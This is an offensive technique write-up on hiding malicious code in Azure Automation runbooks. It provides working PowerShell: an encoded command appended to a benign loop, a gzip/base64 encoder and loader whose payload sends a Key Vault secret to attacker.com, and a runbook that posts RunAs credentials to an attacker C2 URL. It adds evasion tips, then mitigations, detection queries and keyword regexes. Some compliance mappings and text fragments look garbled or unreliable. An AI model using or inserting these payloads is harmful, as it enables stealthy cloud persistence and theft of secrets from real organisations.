| Attribute | Details |
|---|---|
| Technique ID | EVADE-OBFUS-002 |
| MITRE ATT&CK v18.1 | T1027 - Obfuscated Files or Information |
| Tactic | Defense Evasion |
| Platforms | Entra ID / Azure Automation (Cloud-based execution) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Azure Automation (all versions) |
| Patched In | No patch (obfuscation is not a vulnerability; it’s a technique) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Automation Runbooks are cloud-hosted PowerShell scripts executed by the Azure Automation service, typically without the traditional security controls present on endpoints (AMSI, ScriptBlock logging, EDR agents, AppLocker). Attackers who compromise an Automation Account can modify or create runbooks with obfuscated malicious code—such as base64-encoded commands, variable obfuscation, and string concatenation—to perform lateral movement, data exfiltration, or persistence. The cloud-hosted nature of these runbooks means they execute with managed identity credentials and cloud-level permissions, often bypassing traditional on-premises security monitoring.
Attack Surface: Azure Automation Account Runbooks, PowerShell Workflow runbooks, Python runbooks, hybrid worker machines running obfuscated code, managed identities with elevated Azure RBAC roles.
Business Impact: Cloud-hosted malware deployment with cloud-level permissions, persistence via automation, lateral movement to Azure resources and on-premises infrastructure, automated data exfiltration. A compromise of the Automation Account or its managed identity enables an attacker to schedule malicious runbooks to execute repeatedly, bypass endpoint security, and leverage cloud infrastructure for attacks. Runbook execution is difficult to monitor and block because it uses trusted cloud services.
Technical Context: Azure Automation Runbooks are PowerShell scripts stored in the cloud and executed by the Azure Automation service. Unlike endpoint-based scripts, runbooks have no AMSI scanning, no ScriptBlock logging by default, and no EDR agent inspection. They execute with the identity of the Automation Account’s managed identity or RunAs account, which often has significant Azure RBAC permissions. An attacker who can edit runbooks can insert obfuscated malicious code (ranging from subtle to heavily obfuscated) to perform cloud-level attacks without triggering traditional security controls. The code is stored in Azure’s platform and executed in Azure’s execution environment, making it especially difficult for on-premises security tools to detect.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.11 | Ensure that ‘Automation Runbooks’ are encrypted |
| DISA STIG | V-93405 | Azure: Ensure automation runbooks are monitored for suspicious activity |
| NIST 800-53 | SI-4 | Information System Monitoring – Monitor cloud automation execution |
| GDPR | Art. 32 | Security of Processing – Log all cloud script execution |
| DORA | Art. 9 | Protection and Prevention – Detect unauthorized cloud operations |
| NIS2 | Art. 21 | Cyber Risk Management – Monitor critical infrastructure operations |
| ISO 27001 | A.12.4.1 | Event Logging – Monitor all automation activities |
| ISO 27005 | Risk Assessment | Unauthorized Cloud Automation Execution |
Prerequisites:
Supported Versions: All Azure Automation runbook types
Objective: Create a runbook that appears benign but contains hidden malicious code appended to legitimate lines.
PowerShell Runbook (In Azure Portal):
# Get all Azure Virtual Machines
$vms = Get-AzVM
# Process each VM (legitimate code)
foreach ($vm in $vms) {
Write-Output "VM: $($vm.Name)"; $c=@('powershell.exe','-NoProfile','-EncodedCommand','VwByAGkAdGUtSG9zdA==');Invoke-Expression -Command "$($c[0]) $($c[1]) $($c[2]) $($c[3])"
}
# Get all Azure Storage Accounts
$storageAccounts = Get-AzStorageAccount
What This Means:
Write-Host (innocuous) but could be malicious in real scenarioHow It Works:
Objective: Verify the obfuscated runbook executes correctly.
Manual Steps (In Azure Portal):
TestObfuscatedRunbookExpected Output:
VM: TestVM01
VM: TestVM02
VM: TestVM03
What You Don’t See:
Supported Versions: PowerShell 5.1, 7.2 runbooks
Objective: Create a multi-layer obfuscated payload that performs data exfiltration.
PowerShell (Encoder - Run Locally):
# Original malicious code
$payload = @'
$result = Get-AzKeyVaultSecret -VaultName "MyVault" -Name "DBPassword"
$webhook = "http://attacker.com/exfil"
$body = @{"secret" = $result.SecretValue} | ConvertTo-Json
Invoke-RestMethod -Uri $webhook -Method POST -Body $body -ContentType "application/json"
'@
# Layer 1: Compress
$compressed = [System.IO.MemoryStream]::new()
$gzip = [System.IO.Compression.GZipStream]::new($compressed, [System.IO.Compression.CompressionMode]::Compress)
[byte[]]$payloadBytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$gzip.Write($payloadBytes, 0, $payloadBytes.Length)
$gzip.Close()
$compressedBytes = $compressed.ToArray()
# Layer 2: Base64
$encoded = [Convert]::ToBase64String($compressedBytes)
# Layer 3: Chunk into parts (avoid log signature detection)
$chunks = $encoded -split '(?<=.{100})' # 100-char chunks
Write-Host "Compressed & Base64 encoded payload:"
Write-Host "# Part 1 of $(($chunks).Count):"
Write-Host "`$chunk1 = '$($chunks[0])'"
for ($i = 1; $i -lt $chunks.Count; $i++) {
Write-Host "`$chunk$($i+1) = '$($chunks[$i])'"
}
Write-Host "`$payload = `$chunk1 + `$chunk2 + `$chunk3 + `$chunk4 + ..."
Expected Output:
# Part 1 of 8:
$chunk1 = 'H4sICHb2ql0C/21hbGljLnBzMQCrVkotLkktLskvTVWqVKrXU7JSKs0rKSnRU6rRUFBKzsjMS1SqhQC0yqOSUoqVaJUqtUoqVapVUsrLKCrJLEktKU4pzikpVlBKyyjxSckDAH3WQu5XAAAA'
Objective: Create runbook that decompresses and executes the obfuscated payload.
PowerShell Runbook (Azure Automation):
# Azure Automation Runbook
param(
[Parameter(Mandatory = $false)]
[string] $VaultName = "MyVault"
)
# Import compressed payload (split into parts to avoid detection)
$chunk1 = "H4sICHb2ql0C/21hbGljLnBzMQCrVkotLkktLskvTVWqVKrXU7JSKs0rKSnRU6rRUFBKzsjMS1SqhQC0yqOSUoqVaJUqtUoqVapVUsrLKCrJLEktKU4pzikpVlBKyyjxSckDAH3WQu5XAAAA"
$chunk2 = "remainingBase64data..."
# ... more chunks concatenated
# Combine chunks
$fullPayload = $chunk1 + $chunk2
# Decompress
$decompressed = @()
$memoryStream = [System.IO.MemoryStream]::new([Convert]::FromBase64String($fullPayload))
$gzip = [System.IO.Compression.GZipStream]::new($memoryStream, [System.IO.Compression.CompressionMode]::Decompress)
$streamReader = [System.IO.StreamReader]::new($gzip)
$decodedPayload = $streamReader.ReadToEnd()
$streamReader.Close()
$gzip.Close()
# Execute decompressed payload
Invoke-Expression -Command $decodedPayload
OpSec & Evasion:
Supported Versions: PowerShell 5.1, 7.2 runbooks
Objective: Store obfuscated payload in encrypted Automation variables, making it invisible to code review.
Manual Steps (In Azure Portal):
MaliciousPayloadH4sICHb2ql0C/... (Base64-compressed payload)Result:
Objective: Write runbook that retrieves and executes the encrypted payload.
PowerShell Runbook:
# Get encrypted variable (automatically decrypted by Azure)
$encryptedPayload = Get-AutomationVariable -Name "MaliciousPayload"
# Decompress
$memoryStream = [System.IO.MemoryStream]::new([Convert]::FromBase64String($encryptedPayload))
$gzip = [System.IO.Compression.GZipStream]::new($memoryStream, [System.IO.Compression.CompressionMode]::Decompress)
$streamReader = [System.IO.StreamReader]::new($gzip)
$code = $streamReader.ReadToEnd()
$streamReader.Close()
$gzip.Close()
# Execute
& ([ScriptBlock]::Create($code))
OpSec Advantages:
Write-Host, Invoke-WebRequest, etc.Supported Versions: All PowerShell runbook types
Objective: Exfiltrate RunAs account credentials using obfuscated code.
PowerShell Runbook:
# Get RunAs account connection (automatically resolved by Azure)
$connection = Get-AutomationConnection -Name "AzureRunAsConnection"
# Extract credentials (obfuscated variable names)
$a = $connection.ApplicationId
$b = $connection.CertificateThumbprint
$c = $connection.TenantId
# Obfuscated exfiltration
$d = @($a, $b, $c)
$e = "http://attacker.com/c2"
$f = @{"creds" = $d} | ConvertTo-Json
[Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12
try { Invoke-RestMethod -Uri $e -Method POST -Body $f -ContentType "application/json" } catch {}
# Continue with legitimate Azure operations
Get-AzVM
OpSec Evasion:
$a, $b, $c, d, etc.) give no indication of purpose$creds or $secretAtomic Test ID: T1027-Azure-001 (Custom for Azure Automation)
Test Name: Obfuscate Azure Automation Runbook
Command (PowerShell - Create Runbook via CLI):
# Create obfuscated runbook
$runbookContent = @'
$p = "Get-AzVM"; & (Get-Command ($p))
'@
# Create runbook in Azure Automation
$resourceGroup = "YourResourceGroup"
$automationAccountName = "YourAutomationAccount"
$runbookName = "ObfuscatedRunbook"
Import-AzAutomationRunbook -Path "/tmp/runbook.ps1" -ResourceGroupName $resourceGroup `
-AutomationAccountName $automationAccountName -Type PowerShell
# Publish and test
Publish-AzAutomationRunbook -Name $runbookName -ResourceGroupName $resourceGroup `
-AutomationAccountName $automationAccountName
Start-AzAutomationRunbook -Name $runbookName -ResourceGroupName $resourceGroup `
-AutomationAccountName $automationAccountName
Cleanup Command:
# Remove the runbook
Remove-AzAutomationRunbook -Name "ObfuscatedRunbook" -ResourceGroupName $resourceGroup `
-AutomationAccountName $automationAccountName -Force
Mitigation 1: Enable Automation Account Change Tracking & Runbook Auditing
Monitor all modifications to runbooks and Automation Accounts.
Manual Steps (Enable Activity Log Monitoring):
Create or Update Runbook, Delete RunbookManual Steps (Enable Microsoft Sentinel Monitoring):
AzureActivity
| where OperationName in ("Create or Update Runbook", "Delete Runbook", "Update Automation Account")
| where ActivityStatus == "Succeeded"
| project TimeGenerated, Caller, OperationName, ResourceGroup
Expected Outcome:
Mitigation 2: Implement Code Review Before Runbook Publish
Require human review of all runbook code before execution.
Manual Steps (Enable Runbook Publishing Approval):
Result:
Mitigation 3: Restrict Runbook Execution to Managed Identities with Minimal Permissions
Reduce blast radius if a runbook is compromised.
Manual Steps (Set RBAC on Automation Account):
Expected Outcome:
Mitigation 4: Enable Runbook Integrity Monitoring
Detect unauthorized code modifications by comparing checksums.
PowerShell Script (Integrity Check Runbook):
param(
[Parameter(Mandatory = $false)]
[string] $ResourceGroup = "DefaultRG",
[Parameter(Mandatory = $false)]
[string] $AutomationAccountName = "MyAutomation"
)
# Get all runbooks
$runbooks = Get-AzAutomationRunbook -ResourceGroupName $ResourceGroup `
-AutomationAccountName $AutomationAccountName
# Define baseline checksums (update as runbooks change)
$baseline = @{
"ProductionRunbook1" = "ABC123DEF456..."
"ProductionRunbook2" = "789012345678..."
}
foreach ($runbook in $runbooks) {
# Get runbook content
$content = Export-AzAutomationRunbook -Name $runbook.Name `
-ResourceGroupName $ResourceGroup `
-AutomationAccountName $AutomationAccountName
# Calculate checksum
$hash = (Get-FileHash -InputStream ([IO.MemoryStream]::new([Text.Encoding]::UTF8.GetBytes($content)))).Hash
# Check against baseline
if ($baseline[$runbook.Name] -and $baseline[$runbook.Name] -ne $hash) {
Write-Warning "Runbook $($runbook.Name) has been modified! Hash mismatch."
# Alert security team
Send-AlertToSecurityTeam -RunbookName $runbook.Name -Change "Code modification detected"
}
}
Schedule: Run daily via Automation Account schedule
Mitigation 5: Monitor for Suspicious Keywords in Runbooks
Detect obfuscated payloads using pattern matching.
KQL Query (Microsoft Sentinel):
AzureActivity
| where OperationName == "Create or Update Runbook"
| where ActivityStatus == "Succeeded"
| extend RunbookContent = tostring(Properties.description)
| where RunbookContent matches regex @"(FromBase64|GZipStream|MemoryStream|Compress|Invoke-RestMethod|Invoke-WebRequest|Invoke-Expression|IEX|&\s*\()"
| project TimeGenerated, Caller, OperationName, RunbookContent
Alert Severity: High
Triggering Alert:
Mitigation 6: Disable Hybrid Workers Unless Required
Reduce attack surface for on-premises compromise.
Manual Steps:
Expected Outcome:
Find Obfuscated Runbooks:
# Check automation account runbooks for obfuscation indicators
$automationAccount = Get-AzAutomationAccount -ResourceGroupName "YourRG"
$runbooks = Get-AzAutomationRunbook -AutomationAccountName $automationAccount.Name
foreach ($runbook in $runbooks) {
$content = Export-AzAutomationRunbook -Name $runbook.Name `
-AutomationAccountName $automationAccount.Name
# Check for suspicious keywords
if ($content -match "(FromBase64|GZipStream|MemoryStream|Invoke-WebRequest|Invoke-RestMethod|IEX)" -and `
$content -notmatch "^#.*" ) {
Write-Host "ALERT: Runbook $($runbook.Name) contains obfuscation patterns!"
}
}
Disable-AzAutomationAccount -ResourceGroupName "RG" -Name "AutoAccount"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial credentials via phishing |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker elevates to Automation Account Owner |
| 3 | Defense Evasion | [EVADE-OBFUS-002] | Attacker creates obfuscated runbook for persistence |
| 4 | Collection | [COLLECTION-001] Azure Key Vault Enumeration | Obfuscated runbook harvests secrets |
| 5 | Exfiltration | [EXFIL-001] Data Exfiltration via Azure Blob | Stolen secrets exfiltrated to attacker infrastructure |